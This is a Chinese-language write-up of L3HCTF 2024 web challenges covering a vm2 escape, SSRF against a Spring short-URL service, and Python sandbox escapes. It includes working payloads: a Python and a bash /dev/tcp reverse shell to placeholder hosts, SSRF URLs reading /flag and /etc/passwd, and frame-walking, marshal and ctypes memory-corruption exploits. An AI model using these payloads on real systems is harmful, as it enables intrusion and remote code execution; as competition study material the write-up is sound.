L3HCTF-WEB
L3HCTF
战队前几场发挥不错,师傅们还想冲刺一下final,但是这次成绩不太理想,不知道还有没有机会
Volcano web 3/4 但很遗憾,我爆零了(看到第一题就没什么心情看了)
就出了一个babySPN。。。密码真签到题
escape-web
js执行页面,输入一些错误的会发现是vm2模块
然后能找到
https://gist.github.com/leesh3288/f693061e6523c97274ad5298eb2c74e9
但是我做到这里就不会了,因为没有回显
队里lyk师傅使用
ln -sf /flag /app/error.txt
成功回显
看了其他战队的WP,也都是ln -sf
也可以链接到/app/output.txt
文件
官方说法
ls >&2
直接cat /flag提示No such file or directory,查看进程列表可知跑的是node /app/dist.js。
进入/app目录,code.js是用户输入的代码,dist.js是打包的程序代码,查看程序代码并没有写文件,猜测error.txt和output.txt是管道重定向产生的文件,挂载在容器内由外部进行读取。
将output.txt软链接到/flag即可读取flag。
intractable problem
各战队WP都是非预期
给了附件,但是我没看。。
现在看了一下
import sys
import os
codes='''
<<codehere>>
'''
try:
codes.encode("ascii")
except UnicodeEncodeError:
exit(0)
if "__" in codes:
exit(0)
codes+="\nres=factorization(c)"
locals={"c":"696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863","__builtins__": None}
res=set()
def blackFunc(oldexit):
def func(event, args):
blackList = ["process","os","sys","interpreter","cpython","open","compile","__new__","gc"]
for i in blackList:
if i in (event + "".join(str(s) for s in args)).lower():
print(i)
oldexit(0)
return func
code = compile(codes, "<judgecode>", "exec")
sys.addaudithook(blackFunc(os._exit))
exec(code,{"__builtins__": None},locals)
p=int(locals["res"][0])
q=int(locals["res"][1])
if(p>1e5 and q>1e5 and p*q==int("696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863")):
print("Correct!",end="")
else:
print("Wrong!",end="")
import flask
import time
import random
import os
import subprocess
codes=""
with open("oj.py","r") as f:
codes=f.read()
flag=""
with open("/flag","r") as f:
flag=f.read()
app = flask.Flask(__name__)
@app.route('/')
def index():
return flask.render_template('ui.html')
@app.route('/judge', methods=['POST'])
def judge():
code = flask.request.json['code'].replace("def factorization(n: string) -> tuple[int]:","def factorization(n):")
correctstr = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba', 20))
wrongstr = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba', 20))
print(correctstr,wrongstr)
code=codes.replace("Correct",correctstr).replace("Wrong",wrongstr).replace("<<codehere>>",code)
filename = "upload/"+str(time.time()) + str(random.randint(0, 1000000))
with open(filename + '.py', 'w') as f:
f.write(code)
try:
result = subprocess.run(['python3', filename + '.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
os.remove(filename + '.py')
print(result)
if(result.endswith(correctstr+"!")):
return flask.jsonify("Correct!flag is "+flag)
else:
return flask.jsonify("Wrong!")
except:
os.remove(filename + '.py')
return flask.jsonify("Timeout!")
if __name__ == '__main__':
app.run("0.0.0.0")
把输入的内容替换到codehere中
import sys
import os
codes='''
<<codehere>>
'''
这里可以造成逃逸,确实是非预期
闭合前面,补全后面
'''
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("host",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
exit(0)
'''
short-url
unknown 牛B
其实难度不高,但反正我没看了
页面只有一个link参数,限定了http协议,尝试输入自己的vps地址,开启监听都没反应
那应该是个SSRF
并且不管我们输入什么值,都会返回
http://example.com/jump?redirect=随机字符
这些随机字符为键值对里的键,存储着对应的link的值
看到test路由,
会获取键值对的值,所以我们应得到一个有效的redirect后传给他
并且他所存储的link的值中不应该有url参数,
有也可以,但是有url参数的话,要验证host必须为www.example.com
不然无法通过Fetch函数获取该链接的内容
private路由限制RemoteAddr为127.0.0.1,才能获取指定url的内容
那这里也就是说要http://127.0.0.1
这里就可以配合上面的SSRF,再加上private路由可以传一个叫url的参数
当然这里有个Intercepter,用;或者/即可
/private 变成 /private/
/private 变成 /private;
给一下解题步骤
后面根据做法整理一下思路
整理思路
首先
这是没有问题了
获取到一个键名
然后通过jump路由作中间人
根据解题步骤,访问http://ip:port/jump?redirect=随机字符
响应的内容是http://127.0.0.1:8080/private;?url=file:///flag
所以test路由检查他的键值为http://ip:port/jump?redirect=获取的新值
,并没有url参数
所以通过Fetchhttp://ip:port/jump?redirect=获取的新值
会重定向到http://127.0.0.1:8080/private;?url=file:///flag
由此获取flag
可能表达不太好,将就着看吧
L3HCTF 2024 - Nep WP (qq.com)意思跟它想表达的差不多
官方WP
官方是直接从private到test的,这样的话就要检查参数url的host是否为www.example.com
可以利用org.springframework.web.util.UriComponents
拼接多个相同param的特点,将url拆分为两部分
http://127.0.0.1:8080/private/?url=file://www.example.com&url=@/flag
得到的redirect传给test即可
S1uM4i WP 不太懂
也是直接从private到test的
http://127.0.0.1:8080/private;?url=file://www.example.com////etc/passwd
往协议头里面塞,转到 private 的时候会自动过一层 url 解码,变成 Fetch("file:///etc/passwd?://www.example.com/");
payload
http://127.0.0.1:8080/private;?url=%66%69%6c%65%3a%2f%2f%2f%66%6c%61%67%3f://www.example.com/
intractable problem revenge
python沙箱懂不了一点
随便写点笔记吧,然后给出其他战队WP
题目设置了一个python沙箱,禁用了builtins,同时禁止了
__
从而禁止了通过继承链进行逃逸,还利用python审计事件禁止了通过gc等获取沙箱外对象,同时禁用了sys、os、open等风险功能。
禁用builtins的代码大概是这样
eval(code, {"__builtins__": {}}, {"__builtins__": {}})
或
exec(code, {"__builtins__": None})
由于我们使用的函数基本上都在__builtins__
中,
所以我们要逃逸沙箱,获取到沙箱外的__globals__
S1uM4i WP
https://gist.github.com/lebr0nli/c2c0f42757f05813e3282c22114abe82
a = []
g = ((g.gi_frame.f_back.f_back, gl:=g.gi_frame.f_back.f_back.f_globals) for g in a)
a.append(g)
g.send(None)
后续是这个原题
主要是要修改offset的处理,不能通过io交互,直接本地生成一个marshal数据,之后观察构造,replace处理即可
a = []
g = ((g.gi_frame.f_back.f_back, gl:=g.gi_frame.f_back.f_back.f_globals) for g in a)
a.append(g)
g.send(None)
b = gl['_' '_builtins_' '_']
object = b.object
bytearray = b.bytearray
id = b.id
print = b.print
bytes = b.bytes
input = b.input
len = b.len
hex = b.hex
importer = b.getattr(b, "_" * 2 + "loader" + "_" * 2)
print(importer)
marshal = importer.load_module("marshal")
def p64(addr):
return addr.to_bytes(8, "little")
const_tuple = ()
fake_bytearray = bytearray(
p64(0x41414141)
+ p64(id(bytearray)) # ob_refcnt
+ p64(0x7FFFFFFFFFFFFFFF) # ob_type
+ p64(0) # ob_size (INT64_MAX)
+ p64(0) # ob_alloc (doesn't seem to really be used?)
+ p64(0) # *ob_bytes (start at address 0)
+ p64(0) # *ob_start (ditto) # ob_exports (not really sure what this does)
)
fake_bytearray_ptr_addr = id(fake_bytearray) + 0x20
const_tuple_array_start = id(const_tuple) + 0x18
offset = (fake_bytearray_ptr_addr - const_tuple_array_start) // 8
print("Offset:", offset)
def dummy():
pass
tt = b'e3000000000000000000000000000000000000000040000000f30a00000090aa90bb90cc64dd5300a9007202000000720200000072020000007202000000da00720300000000000000f300000000'
def i2h(x):
global b
return b.hex(x)[2:].rjust(2, "0").encode()
tt = tt.replace(b"aa", i2h((offset >> 24) & 0xFF)).replace(b"bb", i2h((offset >> 16) & 0xFF)).replace(b"cc", i2h((offset >> 8) & 0xFF)).replace(b"dd", i2h((offset >> 0) & 0xFF))
print(tt)
bs = bytes.fromhex(tt.decode())
co = marshal.loads(bs)
b.setattr(dummy, "_" * 2 + "code" + "_" * 2, co)
magic = dummy()
# sanity check
print(magic[id("peko") : id("peko") + 64])
target_strs = [
"import",
"spawn",
"process",
"os",
"sys",
"cpython",
"fork",
"open",
"interpreter",
"ctypes",
"compile",
"gc",
"_" * 2 + "new" + "_" * 2,
]
for s in target_strs:
addr = id(s)
magic[addr + 48 : addr + 48 + len(s)] = b"a" * len(s)
os = b.getattr(b, "_" * 2 + "import" + "_" * 2)("os")
os.system('bash -c "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/1234 0>&1"')
factorization = lambda x: (1,1)
自己生成观察一下规律
根据原题给出的生成marshal序列化的代码,找一下规律
import marshal
from dis import opmap
from types import CodeType
offset = 314894131665789 #手动修改,找规律
bc = bytes(
[
opmap["EXTENDED_ARG"],
(offset >> 24) & 0xFF,
opmap["EXTENDED_ARG"],
(offset >> 16) & 0xFF,
opmap["EXTENDED_ARG"],
(offset >> 8) & 0xFF,
opmap["LOAD_CONST"],
(offset >> 0) & 0xFF,
opmap["RETURN_VALUE"],
0,
]
)
code = CodeType(0, 0, 0, 0, 0, 0, bc, (), (), (), "", "", 0, b"")
print(marshal.dumps(code).hex().encode())
多次改变offset的值,对比生成的数据可以发现规律
e3000000000000000000000000000000000000000040000000f30a00000090 00 90 00 90 00 64 01 5300a9007202000000720200000072020000007202000000da00720300000000000000f300000000
e3000000000000000000000000000000000000000040000000f30a00000090 00 90 00 90 00 64 02 5300a9007202000000720200000072020000007202000000da00720300000000000000f300000000
e3000000000000000000000000000000000000000040000000f30a00000090 00 90 00 90 00 64 03 5300a9007202000000720200000072020000007202000000da00720300000000000000f300000000
e3000000000000000000000000000000000000000040000000f30a00000090 00 90 04 90 c3 64 f8 5300a9007202000000720200000072020000007202000000da00720300000000000000f300000000
e3000000000000000000000000000000000000000040000000f30a00000090 28 90 88 90 15 64 77 5300a9007202000000720200000072020000007202000000da00720300000000000000f300000000
e3000000000000000000000000000000000000000040000000f30a00000090 53 90 93 90 d9 64 53 5300a9007202000000720200000072020000007202000000da00720300000000000000f300000000
e3000000000000000000000000000000000000000040000000f30a00000090 00 90 dc 90 1b 64 7d 5300a9007202000000720200000072020000007202000000da00720300000000000000f300000000
不同的部分从前到后,分别代表(offset >> 24) & 0xFF
,(offset >> 16) & 0xFF
,(offset >> 8) & 0xFF
,(offset >> 0) & 0xFF
所以payload中把不同部分用aa,bb,cc,dd表示,最后replace替换掉
tt = b'e3000000000000000000000000000000000000000040000000f30a00000090aa90bb90cc64dd5300a9007202000000720200000072020000007202000000da00720300000000000000f300000000'
def i2h(x):
global b
return b.hex(x)[2:].rjust(2, "0").encode() #使长度为2,不足时用0填充
tt = tt.replace(b"aa", i2h((offset >> 24) & 0xFF)).replace(b"bb", i2h((offset >> 16) & 0xFF)).replace(b"cc", i2h((offset >> 8) & 0xFF)).replace(b"dd", i2h((offset >> 0) & 0xFF))
官方WP
可以用python的栈帧对象逃逸出沙箱从而获取到沙箱外的globals
a=(a.gi_frame.f_back.f_back for i in [1])
a=[x for x in a][0]
globals=a.f_back.f_back.f_globals
可以注意到在判断答案是否正确时的globals与沙箱内获取到的globals相同,因此可以想办法破坏判断的过程绕过答案校验。一个可行的方法是替换掉int函数,使python在校验时使用我们给出的数据进行校验,payload如下:
def factorization(n):
a=(a.gi_frame.f_back.f_back for i in [1])
a=[x for x in a][0]
globals=a.f_back.f_back.f_globals
builtin = globals["_" + "_builtins_" + "_"]
def fakeint(i):
if(builtin.len(i)>100):
return 123123*123123
else:
return 123123
builtin.int=fakeint
return '1','2'
W&M也是替换掉int
此外还有另一种解题方法,CPython中的字符串对象引用C底层堆中一个PyASCIIObject内存实体,相同的字符串具有同一个实体,所以我们可以利用ctypes库实现内存的任意读写,替换内存中字符串指向的值,从而替换掉最终进行校验的数值。注意import在此题中因为os和open无法使用,可以通过__loader__.load_module
进行加载,同时PyASCIIObject的头部长度为48,我们需要对有效负载进行改写。payload如下:
def factorization(n):
a=(a.gi_frame.f_back.f_back for i in [1])
a=[x for x in a][0]
globals=a.f_back.f_back.f_globals
builtin="_" + "_builtins_" + "_"
builtin=globals[builtin]
ctypes=builtin.getattr(builtin, "_" + "_loader_" + "_").load_module("ctypes")
id=builtin.id
ord=builtin.ord
def writemem(addr,value):
p=ctypes.pointer(ctypes.pointer(ctypes.c_char(0)))
p.contents=ctypes.c_longlong(addr)
p.contents.contents.value=value
addr=id(n)
res='1'+'0'*1232
point=0
for i in res:
writemem(addr+48+point,ord(i))
point+=1
return 10**616,10**616
另有其他多种解法,如获取到内存对象后查找内存确定输出标识符位置、通过上述方法篡改hook函数中字符串绕过hook、通过inspect读栈帧代码输出正确字符串等方式,python使用极其灵活,本题有多种不同的逃逸思路。
啊这,会不了一点。。。。。。。。
finally
两个有能力做,一个想不到,还有一个完全不会。。。
。。。学完了,跟没学一样,学不到东西啊
reference
https://s1um4i-official.feishu.cn/docx/QeGGdeyuhoR6kuxCOj8c44wRnne
L3HCTF 2024 Official WriteUp - 飞书云文档 (feishu.cn)